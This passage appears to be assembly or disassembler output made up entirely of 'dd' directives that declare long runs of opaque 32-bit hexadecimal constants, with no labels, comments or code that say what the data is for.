dd 0A5F0BAC8h, 0E56FCDEEh, 0A7400E8h, 46F605A0h, 11EC5658h
dd 0F2EF7230h, 0CAB461B8h, 0BDC2898Ah, 0B56FDDA9h, 87C09F83h
dd 0C2EF6DA8h, 0E2A5368Ah, 0F2C88B33h, 0B843BA52h, 0A4A58852h
dd 8C04A70Ch, 0AC37C4C8h, 291A0BA7h, 0EA07CE7h, 77134F57h
dd 1F9D580Fh, 0FCF2EA29h, 0EA943AB7h, 5AA96875h, 6DFFF7B6h
dd 0B0FDDBBAh, 0A233BE37h, 0D14BEDDh, 5B6C1365h, 0D2C1FA31h
dd 0AD89174Bh, 0E9DE70E9h, 0F41B5721h, 9D6EC9B1h, 4BEC6799h
dd 6BB3FDCDh, 0CA0B8D44h, 735170A8h, 23F30ED6h, 9CDAE61Fh
dd 4035E898h, 0D5194EC0h, 0F108D6D8h, 0F9DB329Dh, 0F873007Dh
dd 12118C04h, 0B8FB4596h, 809A59E5h, 1FEFE14Ah, 8BBC946Bh
dd 6CD28708h, 6A430876h, 0A230E36Eh, 489667A9h, 0CD301B52h
dd 5495C458h, 0FD2B3BD1h, 2CFE3518h, 0D505AB3Bh, 0F38534B0h
dd 9607ED5h, 9DF5547h, 51359476h, 0B1E1A130h, 76621596h
dd 0B13F6EFh, 97D3DEBFh, 4E44FEFBh, 50A139F9h, 0A48FAC0Ch
dd 0D9CFEB7h, 4AC13DA4h, 27DF7111h, 0DB908E58h, 0E52A0EB4h
dd 20120D55h, 5F06249Dh, 0B7E87763h, 0B794E25h, 6FDB6244h
dd 28C31F79h, 6306A814h, 34C326E4h, 8B367F4Ah, 3DE51141h
dd 873BAEh, 16D31C50h, 0F1268F91h, 0B78ED400h, 66622E34h
dd 83802118h, 0CE0DAD2Dh, 0AD4E07D5h, 67408877h, 7851F790h
dd 74EAF509h, 2362FEFFh, 0D4E39020h, 600DB98Ch, 403095E7h
dd 4AE82059h, 0F9216F14h, 37B2958h, 0E9BC71DEh, 9A947A6Bh
dd 5B3AD99Fh, 0C27EDFBh
dd 87B74713h, 0D00B05A5h, 47BF8C1Bh, 652F3FE5h, 55A6A491h
dd 48660358h, 6F882D08h, 15BDDCB7h, 0A090D3B1h, 0E2F18182h
dd 0A8B1C61Ah, 32CF4469h, 5DE6C6ECh, 902A6666h, 19DA99Eh
dd 6483A819h, 7D02FB45h, 47F987FDh, 6981C2E4h, 7F5AE18Dh
dd 8F31FA37h, 26821AB7h, 31D591E3h, 7951E41Ah, 538D40C4h
dd 99DD9CB9h, 79A1A33Dh, 0F09D7B82h, 4787082h, 0AF519FA5h
dd 0A4452046h, 7BA8D65Bh, 0EA2A4A0Fh, 0BC042B03h, 0C78E077Dh
dd 551F9BAEh, 2F362BD3h, 222841F4h, 99A6590Ch, 0AEC26EC6h
dd 57A31360h, 10BD56A8h, 2984A70Eh, 0D4A7637Ch, 0A3DFA78h
dd 6025FC42h, 5DAF6476h, 7E64EF78h, 2094D34Eh, 72DDC010h
dd 0A216DAAFh, 63491D2Bh, 89C404D2h, 4B417F9Ch, 6E1C527Eh
dd 336BA89Dh, 0FAC650D9h, 8D14E48Dh, 2B017A3Ah, 46C7A72h
dd 0F970FD74h, 0BB84DC71h, 0C26201FEh, 8F1F8DFBh, 7E3195D7h
dd 40385FBAh, 0E23A4CBDh, 13D975E3h, 5B6B9B94h, 4A32C672h
dd 0DAB269DFh, 3798B0F9h, 49B96683h, 0CA621566h, 0F718A5C0h
dd 0F1CE541Ah, 83ACEDEh, 5D530146h, 176C66EBh, 1834A381h
dd 0CC5A5A95h, 0BDEBC601h, 5B6F6518h, 4EF3DE03h, 672354AFh
dd 0E33794A5h, 0F3FCB7E3h, 755396ABh, 145E24E9h, 7810E29Eh
dd 10CDE6C8h, 17061B3Ch, 6DF0D5DEh, 69DABC8Bh, 0F1F68E43h
dd 19685E45h, 0BB33B990h, 52C8B80Dh, 0E56301F3h, 0CA9D0112h
dd 94BB1320h, 0DED74CF2h, 0DE246C00h, 1DAA4B3Eh, 0E237525Dh
dd 0E400F009h, 78BB5ED2h, 1CA07EFDh, 0EDA9BC8h, 658D6A63h
dd 0EDBB14DFh, 0C590C9ACh, 13203DACh, 0B43288B7h, 0DCEC7B0Fh
dd 18D9F60Dh, 5A1A4FB6h, 6983F3B6h, 17232967h, 5CB735E0h
dd 84FE7AA0h, 0EDF17F4Eh, 8E16F548h, 61F82B0Dh, 0DFD219ECh
dd 0B05FCA2h, 0C4F9B333h, 0FEC39527h, 0C1AEE7C1h, 6DF2906Dh
dd 0E35C11FBh, 539E174Dh, 9F530959h, 2366752Ah, 0A7F59577h
dd 0AEF1533Fh, 0EC499F57h, 0EE696547h, 0C5125942h, 4155D15Eh
dd 0F6F299Fh, 555CDF0Ch, 41E4ECADh, 5D84E8D2h, 4F9F01E8h
dd 0DDCBDD51h, 0C7E860D4h, 97C7F445h, 0CA8C9E71h, 0E5BCF6ABh
dd 9D774CABh, 9EE435F3h, 487EF1FBh, 5F95C747h, 0C2687B3Ch
dd 80BB75D3h, 6A83DB48h, 810D8401h, 0C38E8D0Eh, 78D1E527h
dd 0DBEC9897h, 0B8443D40h, 0B372C0C8h, 8F7839CCh, 1A5167A3h
dd 8ACB8F04h, 0D6E901DAh, 0B267C0F8h, 1A074E8Bh, 6C85E6AAh
dd 5E4ACE3Ch, 0CAFD5F93h, 1B12F213h, 4EE7DACBh, 0E09A4DA2h
dd 0BA42D60Dh, 5E5DB3AEh, 467A6542h, 7F83F8AEh, 2485F4D2h
dd 0BAD8D4CFh, 0BA54DD20h, 1E8ACF8Ch, 0E7A07AB7h, 82BD3B76h
dd 359AF3FAh, 0CBD13066h, 0E0C96350h, 3B6A248Ch, 4E440B13h
dd 0D24EE6A9h, 0B6309338h, 0C6C524D7h, 8F83C5B4h, 6A16BF4Ah
dd 18A016FAh, 0C555F456h, 15E76952h, 751E51FAh, 0E7759459h
dd 7842F9BDh, 0AD19A7BCh, 0EDD5D875h, 92EB5B28h, 0B5A530E3h
dd 3C272C09h, 0EB36B64Dh, 0BE894EA3h, 6163FB30h, 68057792h
dd 0A15315D1h, 3049F611h, 1E13811Fh, 0E0603521h, 0F33D4CDBh
dd 0C83D03D5h, 315BCB54h, 29B876AFh, 893DAE87h, 901109Bh
dd 0FC48B158h, 0CEAFB317h, 0B8ED1644h, 0BA4FD425h, 4C1F4F9Fh
dd 5F1AD9Ch, 208EEFECh, 5BC22D0Ch, 12D86D7Ah, 0E6392508h
dd 0F0970CBCh, 5C98A25Fh, 122C9541h, 673206E9h, 3FA4F4B2h
dd 83E31D0Bh, 693C8ED5h, 0DFDAEE24h, 0A13D5EDFh, 279C18D5h
dd 17694DEBh, 0E6F22F92h, 2F447C73h, 5EAB1BB3h, 0B3BA68B1h
dd 0D4505541h, 0F12ABF14h, 608B4C42h, 6823B4C0h, 457CE47Ah
dd 7F38B83Dh, 5DE07CC9h, 0BE588966h, 0AA2B7764h, 0B479CC0Eh
dd 0B1DE54D4h, 0E9FEFFB9h, 8F379259h, 7950266Dh, 166E5B64h
dd 774B33B9h, 0B5355385h, 90991C3h, 8C1C611Ah, 475A3795h
dd 8411A46Bh, 0E7AA9040h, 0A2F26D93h, 0C7D8CDB8h, 0C0F254EDh
dd 0FEC3EB1Fh, 0EFC3AFE3h, 0BB7F7564h, 65B8D691h, 0EC1519DDh
dd 637C8AE0h, 0E5D14B5Eh, 4B18D981h, 3B4059F5h, 0AABAB9F5h
dd 0E2C796BAh, 0CA84B623h, 5B671219h, 6C09763Bh, 0D22F3447h
dd 0BAAADA2Ah, 9DE11087h, 0F8F3F641h, 16DBA3DEh, 5BB88837h
dd 0D5B08EE8h, 0D7996B33h, 4F16658Dh, 12EA10B7h, 5AFFA754h
dd 0F106CFA6h, 0BADA03D8h, 1DF733A3h, 906E66D1h, 0EB2875FEh
dd 1C8FDE68h, 6F8537E1h, 2D8BFA3h, 5B783C80h, 9B50D2F2h
dd 0DE327A5Fh, 0C253F9A0h, 9F314F58h, 0ADEFD6DDh, 93E14543h
dd 288349D9h, 0DFC23D2Ch, 52CD1D98h, 4EC5D5F9h, 0D55512A6h
dd 87308D1Bh, 2DF1D8A0h, 9AF9C258h, 3D4DE54Fh, 6EA9FD50h
dd 0AD01EAB6h, 0C761BB0Fh, 0FC674176h, 43D57FB9h, 57B22F6Ah
dd 0ADFD5F73h, 0CC0FDB55h, 8CD2957Dh, 57F2B028h, 83EEE3FEh
dd 8BBE97DEh, 0ED5F37Eh, 0F0801766h, 0EC482603h, 9F6012BBh
dd 0E5F92BB7h, 31CE0519h, 0C0B035A3h, 338B6F14h, 0E73FB97Eh
dd 66C97E15h, 8260CDF9h, 550CA40h, 2BC4BD9Bh, 0F66C50B5h
dd 9235B200h, 9E518520h, 0FF7F18E5h, 25A9227Bh, 39130C71h
dd 1B448973h, 0F39E9B33h, 0F8E71D45h, 4010D76Eh, 0E3131807h
dd 6060C744h, 4FE0BF38h, 15D4CEA9h, 8336B8Dh, 0FDEC12C2h
dd 9C22D3F1h, 0D0CC6088h, 80119A92h, 9B3C7718h, 0C358E5Fh
dd 0E803AD72h, 4BA490AFh, 0DA3E6983h, 0B82433F3h, 64CAB946h
dd 0FA6C3E7h, 0D61E9C71h, 95FD10h, 0FAE3061Fh, 3CFC9D1Eh
dd 6E7DC98Ch, 0BCF9E1B9h, 0C96B4D31h, 8A469B3Ch, 0D8957F06h
dd 5D1573BCh, 0D5BACD45h, 26C3DE94h, 42FD6346h, 261EA615h
dd 49DE5189h, 0ACA25DE4h, 17C0DEF1h, 21FED0D9h, 284536C6h
dd 683A04F5h, 0EBB7D036h, 42C516FFh, 0BE7CED6Bh, 0B45CD6A4h
dd 3DECB52Ch, 9588E3C2h, 718A57D1h, 54DEB8DEh, 9C087753h
dd 294D9CD6h, 5A7063DDh, 0A3C7F71Bh, 1955A91h, 411FA91Fh
dd 0B462A5D0h, 42307403h, 0A32CC04Eh, 7950EF9Eh, 0B069A3B4h
dd 9DA8FC0Fh, 41B50AD8h, 7883AD5h, 17DB158Fh, 6052C2EBh
dd 0D929F9F1h, 7232C019h, 0FA22E033h, 0BDBE3DEEh, 5B0A170Fh
dd 0EFCAF4AAh, 0AA57CD1Ch, 5A1D090Ch, 0E051CE6h, 2ED52C59h
dd 87F64A6Fh, 4AF5BB2Bh, 0CDB63637h, 81C7FDB7h, 0DB507BBBh
dd 6C67F6F0h, 1E2951F2h, 1790B85Ah, 2E483CFEh, 0F00F6681h
dd 0A399931Bh, 69B2EFC1h, 0C0378546h, 6DC163E8h, 7C31AA59h
dd 301FAED6h, 67DCF656h, 6FC555A6h, 6B9E3672h, 522C60h
dd 0CF15839h, 362E4046h, 4569F72Ch, 0DE15C1BDh, 0E78DE330h
dd 0F7CC7CA6h, 0FF541CE8h, 3F8671D9h, 523B107Dh, 0C6B5CFE2h
dd 7CBB1309h, 0DEC2B95Dh, 85FD621Bh, 142D90C2h, 0EC159675h
dd 0C0277514h, 6CF2AB74h, 76CC02BEh, 0E40DD2ECh, 88A0C8EDh
dd 46F5CC9Dh, 8895B086h, 6C9FC444h, 913ADC53h, 0C2E38E9Ah
dd 0ECC2FFF0h, 49B78371h, 3C43042h, 231B2900h, 45130A02h
dd 0B70AB597h, 61CE832Dh, 76793A58h, 0C8DF137Ah, 4CB4ADDFh
dd 6AE2F6E5h, 41828B36h, 4914CF7Fh, 0D03A160Ah, 0DEF07EC1h
dd 0F510B3C3h, 8E51D7C1h, 1DB6E319h, 6F693E34h, 1055A2EBh
dd 779DE748h, 0E14FC285h, 58F1A53Dh, 0D33BE490h, 0D62E0BFBh
dd 8A35DB27h, 0E0EAD6FAh, 73BCBD99h, 76C5BD5Fh, 27EFE16Fh
dd 3F0CE208h, 49F21EADh, 0EE0C8D73h, 6DC1E1C8h, 2839C7F9h
dd 83ABCA60h, 7B9C92E6h, 27A840FCh, 3B8F53BDh, 0D82EAC73h
dd 8DC01AE3h, 56BA52B5h
dd 72150CDh, 0F6C25423h, 11A00FFCh, 7ACB9AC9h, 2DEB47A8h
dd 0BF85C83Ah, 2DEB947h, 191CE256h, 19A68981h, 3D25969h
dd 6567B794h, 6B77AFEAh, 0AF02015Bh, 0ED8F1C59h, 0B3B66606h
dd 69F89A72h, 9470DD89h, 5D2EA5C5h, 654EFE5Eh, 0CBF6D6D3h
dd 625FAD7Dh, 0C8352DCEh, 0ED1C18E6h, 28CCC0C6h, 0CA4B32DCh
dd 4FA95B5Bh, 0B7EAE08Ch, 0D5FF8D1Ah, 0BA85CD11h, 730280A5h
dd 0C7619CD0h, 5D493A0Eh, 293C470Bh, 92B0ACDh, 0BF595779h
dd 0D2B020B7h, 1F0D8D62h, 0F0A4B1BDh, 3434B5Fh, 0F8FCF285h
dd 2C52A5B7h, 8E7DF56Eh, 0F7F075Bh, 7B5A05D6h, 28807235h
dd 7A6C5A7h, 0BCD252ECh, 124B4B95h, 17FDD348h, 113466EDh
dd 23164924h, 1FA789E6h, 3A07107Ch, 1A4DABCFh, 61A16CEDh
dd 47C72D70h, 1837C774h, 15D4F372h, 51A5D4BAh, 5A80BA7Ah
dd 708FC818h, 0D16A74E8h, 0DBC979EFh, 0D025E04h, 5792591Ch
dd 8A378CEFh, 6CB65236h, 0F920C25Ah, 0DE27A416h, 64523638h
dd 54E8621Fh, 4A071C80h, 71A96D2Ah, 0AB3D690h, 793D5F3Bh
dd 0AB48B973h, 8323D511h, 95444964h, 70B01701h, 0B38BDE6Bh
dd 32F0D2E0h, 0B0582F97h, 7664A5Fh, 0FB1C3830h, 495512FAh
dd 277DE2F2h, 6D65FEC8h, 0ACEA2AF0h, 9957C2FEh, 5F0AB2C8h
dd 47BC063h, 2E5B8504h, 67FBD8A8h, 3B2D8299h, 5BFCB8B1h
dd 8DD424EBh, 1AC231F0h, 7464F77Dh, 0BAB87652h, 0F9D3499Ch
dd 7130A2DBh, 0DE5CF5C3h, 797D38D7h, 14A59DB7h, 0C1C95DE4h
dd 0E22888DCh, 91ADBAF1h, 0F556A289h, 52911027h, 35E3AF4Bh
dd 0F967E334h, 61E2D2ACh, 0F1DDDFBCh, 2CE67257h, 5F22F00Ah
dd 0E65EAA44h, 52C5C5CDh, 9AC14518h, 0A715F56Bh, 0E56BF945h
dd 3BF38934h, 0EA27424Bh, 66972135h, 0A52BA21Bh, 0CC71B350h
dd 991AA1FBh, 1CC9EBACh, 0E03B1F22h, 2636B1E8h, 157097C6h
dd 0AFBF844h, 13C52C63h, 2DB7E6Ah, 4A4497A3h, 12325E33h
dd 65D501D4h, 0F3AD77A4h, 84794EDBh, 684061h, 8D1D0D9Dh
dd 0AA5E407h, 971C28A5h, 84E77CE7h, 369627C8h, 0C64A9E21h
dd 155D8964h, 0C7C182A4h, 0F03FF504h, 0C92CB48Fh, 341963E4h
dd 0BBDF5344h, 8A3C9E07h, 57574908h, 0DD52CFBFh, 0EC5B0AE3h
dd 3B16AE1Ah, 5E11F6A9h, 0A45C7810h, 86A72440h, 97AE8B67h
dd 6DFB0118h, 92CAD058h, 0F90C3799h, 7F7A04A5h, 0AB97DFE4h
dd 57822364h, 96FA3448h, 0CE03C334h, 3E19F37Ah, 0E4DC4F0h
dd 81880209h, 0DD6ED732h, 958115E3h, 0DDDD0E7Bh, 456D8DE5h
dd 783BEBA4h, 0C39F3C64h, 0A3BBE52Dh, 0B27D4174h, 0F77C34Dh
dd 0DD60AFAAh, 89D64089h, 3B9AEA15h, 0F40830B6h, 0B88AB917h
dd 0F383E44Ch, 0F0FD4503h, 6C4012E2h, 0AD555442h, 3C8FBF5Ah
dd 0E26C198Eh, 0EF2B5772h, 26B8599Bh, 0F4B83DB5h, 0E6BA18E8h
dd 219F93FAh, 0B602C95h, 0DD8C9ED3h, 32B7B7CCh, 7C07AA1Dh
dd 0F22B7E97h, 3220CA6Ch, 5641E51Bh, 49B4EFC2h, 0FA4DAE98h
dd 805C7E2Fh, 15F938E0h, 60936776h, 0B098F738h, 9741B7F8h
dd 2280C94h, 1F3F039h, 0DA4657E9h, 2EEC3D7Eh, 0B85E626Ah
dd 374D0B7Fh, 1DF62699h, 56C0F951h, 184459DEh, 5AB0D12Ah
dd 3B9E6AB0h, 0A94B2F5h, 199CEB27h, 2F37A56h, 11A2AE0Bh
dd 4179491Dh, 6A14DF69h, 5ABC473h, 0A8DFC6C6h, 7F2EFD85h
dd 4DD336EAh, 0E6E6B2EBh, 0C7D68E6Fh, 461C87A8h, 9A315C97h
dd 0FABB8C9h, 0CC73ADA5h, 0EC98F5EBh, 5C918D9Fh, 87CDFDE6h
dd 0CC8B260Fh, 71538874h, 46012F24h, 370DB879h, 5BA78776h
dd 5D955DA6h, 8EA54E96h, 51CC5E17h, 9060C8B1h, 0D59F728Dh
dd 5E624838h, 3C7419DDh, 0E2BD988h, 47AACE4h, 3ACD0A03h
dd 0E8AA76C9h, 76DCBF4Eh, 6415A848h, 8A783BDFh, 0B7E8E2B3h
dd 0C50F1128h, 0A3C0D79Ah, 29DE204Ah, 0EF43497Dh, 0D637BF75h
dd 14D7AECAh, 1EA21F28h, 0C3EDE74Dh, 0B37A36E1h, 0F5AA75CFh
dd 7C217C86h, 7B7F320Eh, 8E9479B7h, 8A9A0195h, 0AB2EF166h
dd 0E80209BCh, 5899C1FBh, 0DBD6C51Bh, 4FDD2F58h, 4B71B8A5h
dd 134EA305h, 0F40AFAC9h, 9E858BBh, 112D34h, 0BE8FD183h
dd 388F68DEh, 18BF52EBh, 2A026B2Fh, 8A3554FCh, 0D4EB6F0Bh
dd 0B2DB9F4Ch, 0D949745Dh, 79C6AD24h, 348700FCh, 0C4E7C379h
dd 28EA1E37h, 7C1F785Dh, 0D7690A43h, 2075362Ah, 0A0CE16Bh
dd 5BDF0529h, 0B5809732h, 4A9F9129h, 49C5EDCBh, 4B347E7Eh
dd 0AE3A8569h, 8239583h, 67527A5Bh, 0A360D794h, 599231D2h
dd 7781D3ACh, 0E5B9148h, 87169A65h, 478C1496h, 6989A69Bh
dd 5D721C07h, 7CEF0392h, 155C9BA9h, 852B9BA8h, 81E32074h
dd 95096883h, 714786Dh, 0BECF184Fh, 0EE7AB556h, 789010AAh
dd 66F680D7h, 80B788AFh, 75468EE0h, 0F2FAE955h, 32A9A4B0h
dd 2F574CD7h, 0E0B07173h, 517A783Ah, 0DDECA1B3h, 69A9B392h
dd 4B0055BEh, 3D9EF957h, 0D0B12D80h, 8A36A219h, 0A9CD05FEh
dd 0F8ADEB7Ch, 0A6FD61D6h, 7A8142C5h, 0C072E783h, 751BA07Fh
dd 91F8F167h, 672FD13Dh, 0EFFEECDAh, 0AD7859E8h, 28075567h
dd 77F284A8h, 0B4632A98h, 0DA943CBEh, 88932B59h, 0CDE65E25h
dd 9AA2D063h, 7FB50C6Fh, 0A530FA35h, 78DD536Fh, 0D229B695h
dd 0D519B59Ah, 5514CBBDh, 0A5CD0422h, 0D9D4AD2Bh, 2CFD7EC9h
dd 76902507h, 771292EAh, 1BE88904h, 54DC26CAh, 493E07FEh
dd 0A5212A25h, 9ADBA7E5h, 0A829512Dh, 9673CC09h, 553216DEh
dd 0C5571A0h, 5440E702h, 106B572Bh, 0BD199A71h, 2899F777h
dd 5F0D5C12h, 55ABC20Ch, 9ABCE05Bh, 321EA31Ah, 0D47D86BEh
dd 8B7D86C6h, 0B20C4B56h, 7B948392h, 0C55A375Eh, 5EE1C74Bh
dd 471B612Eh, 71ACD3BEh, 0B5B6DC93h, 5FC912E1h, 9FE325CAh
dd 7F19572Ch, 0F3422E4Ch, 25042EB5h, 4A687DD9h, 3E39734Dh
dd 0FFC9F8CAh, 8E8EC47Fh, 0A3593BBCh, 18C4ACA1h, 0AC4009A4h
dd 1536573Ah, 9EF54475h, 24E3767Ch, 0F40BFF55h, 381BC0D2h
dd 7C9959D9h, 0D6C3F497h, 96099176h, 8F909A38h, 549CC429h
dd 0C05AC1B5h, 3A006FCBh, 68506E0h, 610816F0h, 604361D5h
dd 0A0A50738h, 286CAF22h, 93B3913Fh, 4DDA4CBEh, 37057155h
dd 4FBF0940h, 0CF1CC9EFh, 1F1C4488h, 1DC68845h, 6C512B4Ch
dd 75E4F70h, 4F043FDCh, 0B148687Ch, 344AE98h, 0BB33FCCDh
dd 0B2390658h, 54A16D56h, 0B85B7A87h, 9EFEB682h, 4BC7BF42h
dd 24132A49h, 0A33A837h, 0A0921996h, 1D796F4Bh, 0F695CF8Ch
dd 5BF42D8Ch, 0C72E25AEh, 0F8B4BD20h, 0CA7F5C38h, 5766D505h
dd 7259D9A3h, 2D0D5B47h, 0A0D22D8Ch, 3E7A0792h, 0AA0EC66Ch
dd 0B45B8687h, 0B30AE69Ch, 0C57F4065h, 83C6D4Dh, 24B7AD01h
dd 48894DEh, 0FB5FC12Ah, 0DABEEEE6h, 0A1EB48Dh, 96CF2DD5h
dd 31A30F24h, 2422F1AFh, 0E4DDC4F4h, 0F2449FCDh, 0C324B79h
dd 98A6F12Ah, 26FB303Eh, 89453515h, 0EDEE66D4h, 3F68068h
dd 68BF3251h, 591E491Ah, 0EEED1B77h, 2D53D47Ah, 0B51751CEh
dd 71B1DEEBh, 31094D65h, 58B9427Eh, 943614F1h, 5E862128h
dd 0A20A51CDh, 0E0723DA1h, 0B13D04Bh, 8700B272h, 148FC733h
dd 68049DDEh, 6F602841h, 9970DA02h, 0EC6C30C3h, 0FD435E0Eh
dd 0B51676D1h, 3BE92565h, 5603EF7Bh, 0BBBAB149h, 4DCACA6h
dd 87613D21h, 9DB3746Ah, 76EA2640h, 0F50EF886h, 0E161F652h
dd 0F4CF89Dh, 6E9A943Eh, 6FE6B9AAh, 0ABCB556Eh, 397C2303h
dd 3D51E034h, 0B90546DAh
dd 81BEC8Ch, 0E3C92A9Dh, 0CEB04DAEh, 8CA0D376h, 3367B307h
dd 86264E6Ah, 742777D0h, 7BF98B21h, 1F2DD3A8h, 0FBE4F6E6h
dd 0CCF5966Ch, 0D76C3240h, 0F5B0E46Dh, 89A5B666h, 1A08EB7Fh
dd 3FCAC618h, 0B3F96FFBh, 0E086882Dh, 5132D3C9h, 3BF67E61h
dd 0D7C7EDA3h, 0D7BD8A6Fh, 525E3B87h, 32BCD44Dh, 0FBC48504h
dd 1DB629B8h, 52CA041h, 91529430h, 9E3A535Ch, 54AA230Eh
dd 84F31361h, 0A568D14Dh, 0BD8CBE2Bh, 5FAF8E01h, 0E05B2E3Bh
dd 0E7851B47h, 2EC7AF83h, 95EFA1F9h, 77372E47h, 0A1C2039Dh
dd 0D710E66Ch, 0B18BB5C8h, 29B801D2h, 0AC364336h, 4A00E2DEh
dd 308F15DAh, 0A5F55C3Eh, 0AC9257E3h, 7D581FEAh, 0F983CAA1h
dd 8347F14h, 0EE092A74h, 4C8B9508h, 3BDE00B8h, 2455E6C6h
dd 1041B90Ah, 1CFF3993h, 0C3FAB9B4h, 0BB3B48ACh, 0C82F4F89h
dd 1AD077Ch, 390F0F7Fh, 67EEC69Bh, 2A867343h, 415C86EDh
dd 4AD88F4Fh, 0B9D1034Dh, 32B7E4Fh, 0CB9DEB69h, 4EF86B1h
dd 15BBBEF6h, 31BFD08Ah, 4F91503Ch, 43D2AF99h, 0ADD52A2Eh
dd 63A2F400h, 0CA3741C9h, 87C931F1h, 0AFAA3A35h, 0C50FBB33h
dd 0FEB55755h, 4ED28C68h, 0A74A1ABFh, 4336FC82h, 8B1E6F7Ah
dd 325D142Ah, 4F861AA1h, 25FEEE54h, 833BDB76h, 0EFEE7D69h
dd 0F785E835h, 0D111E7CAh, 0FB5FE0EFh, 58BA821Eh, 628F9AE1h
dd 0D286F5B6h, 3DE394F0h, 0DE358F2Bh, 0E8447019h, 0C231231Bh
dd 9A408D20h, 0A1DB3CD3h, 7B897D29h, 7F7563A4h, 5F1850B0h
dd 0F041D343h, 1037BFF1h, 75FB5018h, 28FAB9BEh, 6D1E8CC0h
dd 0B5854BE7h, 0AECDEA21h, 0D0BF00A0h, 0FADE882h, 867879EFh
dd 0D4B80993h, 0F656290h, 0B1FAA93Ch, 0BF1DCCC2h, 0B904E0AEh
dd 1E7F2F3Eh, 0D9729BF4h, 0DEA30368h, 67165BA0h, 3B96CD7Eh
dd 0D95ECB5h, 5AA8D422h, 8CF45D90h, 0EA23D942h, 2B4E2BE5h
dd 5B236134h, 41BCEAA8h, 0DB188256h, 4DD282D1h, 544B2FCCh
dd 0BED53410h, 8C7527A2h, 0CFB816BDh, 5CD588FCh, 0EFA89245h
dd 12FD58F4h, 0E16A976Eh, 5CB430A5h, 6CDA9519h, 0A8C59027h
dd 30EAE871h, 2C04F619h, 0B28DD7F1h, 53F39C1Fh, 3DDA0E03h
dd 4C342DC8h, 911B2146h, 1DD42167h, 2FFACF2h, 0F66010CCh
dd 3D394B2Ch, 623E6C24h, 8FD7B9DDh, 132BA1F3h, 0C8575F72h
dd 0AE3EBF44h, 0E9C6C4E5h, 0E8D65BA2h, 230B94ABh, 6621237Fh
dd 50BE1935h, 703B0080h, 4FC108C4h, 2C3D628h, 94BF26EAh
dd 2CB61571h, 33273250h, 907A8673h, 9FF3A2D7h, 45C1388Fh
dd 0C5FCE1B6h, 8E557D93h, 0A20061C0h, 0B7106D7Eh, 0DC4FAD8Ch
dd 4097F922h, 0AFA16CF7h, 625A5722h, 2708C6DEh, 0F3CBED84h
dd 7F9F48FDh, 0AB46F7EAh, 6E061B05h, 391EB33Ah, 2EED15Eh
dd 45DCC10Bh, 12C46DFEh, 56F146B3h, 0F23F47F4h, 0A875A440h
dd 290949BCh, 3D2F23Eh, 141E2638h, 0C65B324Fh, 66D57BBCh
dd 7C70046Eh, 561A338Eh, 0EC48F766h, 6AC52625h, 0D5865AD4h
dd 173A410h, 0E47A54F9h, 82476366h, 77F64BE4h, 1A6064B2h
dd 0BB0B1FD0h, 0FABC2FF0h, 2049AD6h, 9ACA72A5h, 0FCF5982Eh
dd 0DA490625h, 0ABA2324Ah, 0C8C69C9Fh, 0E4F42297h, 524B33D6h
dd 750B1EC4h, 823A223Dh, 16E9180Ch, 1BE00A0Ah, 3F554275h
dd 7C9E8122h, 717A3F89h, 0B9C36556h, 0A9C3535Fh, 0F79AB20Bh
dd 0E4F69221h, 0D76C1F81h, 77E4FAAh, 0C47F0B22h, 55E174D3h
dd 3FE52ECh, 63BFF033h, 227A101Ch, 0F812ABEDh, 0CB8D6A5Bh
dd 0AF20339Eh, 112954A0h, 8A60C89Bh, 82321A3Fh, 5C6CDF76h
dd 0B7D4955Bh, 0DB3877F6h, 0C9E59708h, 5248C5ABh, 0B46744FBh
dd 76846CCBh, 516E732Fh, 9E0E6F55h, 2E43D3C3h, 16A3ED8Fh
dd 9A2D02AAh, 0E05CEA8Bh, 0EC44FC07h, 3DBDF988h, 0C8F72705h
dd 0DBD635E6h, 5926F3FBh, 2B8E212Ah, 0EEB27113h, 21ADCFBAh
dd 0BF0EFF43h, 6B68AE10h, 0D262AE42h, 32D3AC6Dh, 391E7CD4h
dd 0EA945D95h, 0BB4E687Ch, 6F5B3DD1h, 0C729D925h, 3D6A2FD0h
dd 0F5F689Dh, 0B58BB467h, 71160DFEh, 8F40E7FEh, 94226517h
dd 883F7738h, 572BC1BAh, 5B0964E7h, 82C3715Dh, 1B9E5E2h
dd 86A700B7h, 0A7EF0C83h, 70120681h, 541C91h, 88204Fh
dd 0C60C835Ch, 17E8FB51h, 55DED08h, 0A5C02B02h, 834F8685h
dd 0DC81C567h, 82F18D09h, 8C67BB95h, 0ED0DDE6h, 23907C55h
dd 168AA5C2h, 84303584h, 3FD7A688h, 1BB1A090h, 111E2F47h
dd 0CADDA2BBh, 412055A7h, 63B53277h, 8F08B482h, 6B6DC31Dh
dd 879C489Fh, 1C27FFD9h, 0D868F3C6h, 0C87A4BD0h, 0F52BC697h
dd 0C5007A44h, 0A4D20F35h, 8C6DA275h, 582528E5h, 0CBD84D43h
dd 24442724h, 5F2A5485h, 1D26A9EFh, 0A3F503A7h, 0CE8F8592h
dd 0E474CAC9h, 279FC9DBh, 0C4F1E30Ch, 5C110BFEh, 80D40B6Eh
dd 1D93F15h, 41B66208h, 76F049ABh, 0B7403E0Fh, 7B717BFDh
dd 0F4EAEC7Ah, 0DDA1A97Ah, 0EC8A95DEh, 0AFB5D142h, 0ACCFB663h
dd 0C6986F2Bh, 0C4526137h, 5A3BADC8h, 8579D3CFh, 95DB3501h
dd 69283D0h, 6C9AED5Ah, 0E557273Dh, 0A4CBA707h, 0D53406A3h
dd 27EAA8B4h, 0BE97A612h, 0C5650688h, 0B4768E1Fh, 45BB8FBCh
dd 2757ACB6h, 2F222D52h, 3D48160Ch, 0FEC75C94h, 37335424h
dd 0F029E51Bh, 0B239C2ADh, 0F43AFDE7h, 9A404B48h, 271BE0EEh
dd 7E437EBCh, 213A5379h, 0BAAF3255h, 981B979Eh, 9776A8D2h
dd 66135A4Fh, 18CE813Fh, 472BD9BBh, 62B0512Bh, 871B60B5h
dd 7B6AB42h, 0C10EE590h, 7ECA95F2h, 0AEBCB211h, 0BCBAF09Dh
dd 0C1BF32FBh, 96DABD4Ch, 3058FEA6h, 9D7B4729h, 875D4DA6h
dd 0BC780E46h, 6AE18797h, 0C345CDCFh, 0C1F3A30Dh, 0CFE630B0h
dd 0DC05A383h, 0F0FBECEDh, 0DFA4AF2Dh, 78DDA29Fh, 0BB09C7F9h
dd 1852FE0h, 39773154h, 0C671AFF5h, 285D477Fh, 0DB74ED58h
dd 551986C7h, 506139EEh, 0DD2591BBh, 0C841B4E7h, 0AE9A3612h
dd 0F3C074F5h, 0D665CF1Ch, 0B3216381h, 1C955553h, 0EEC9F626h
dd 0D4B3C02Fh, 328B5831h, 470E3C28h, 0B16EC759h, 0D60E1576h
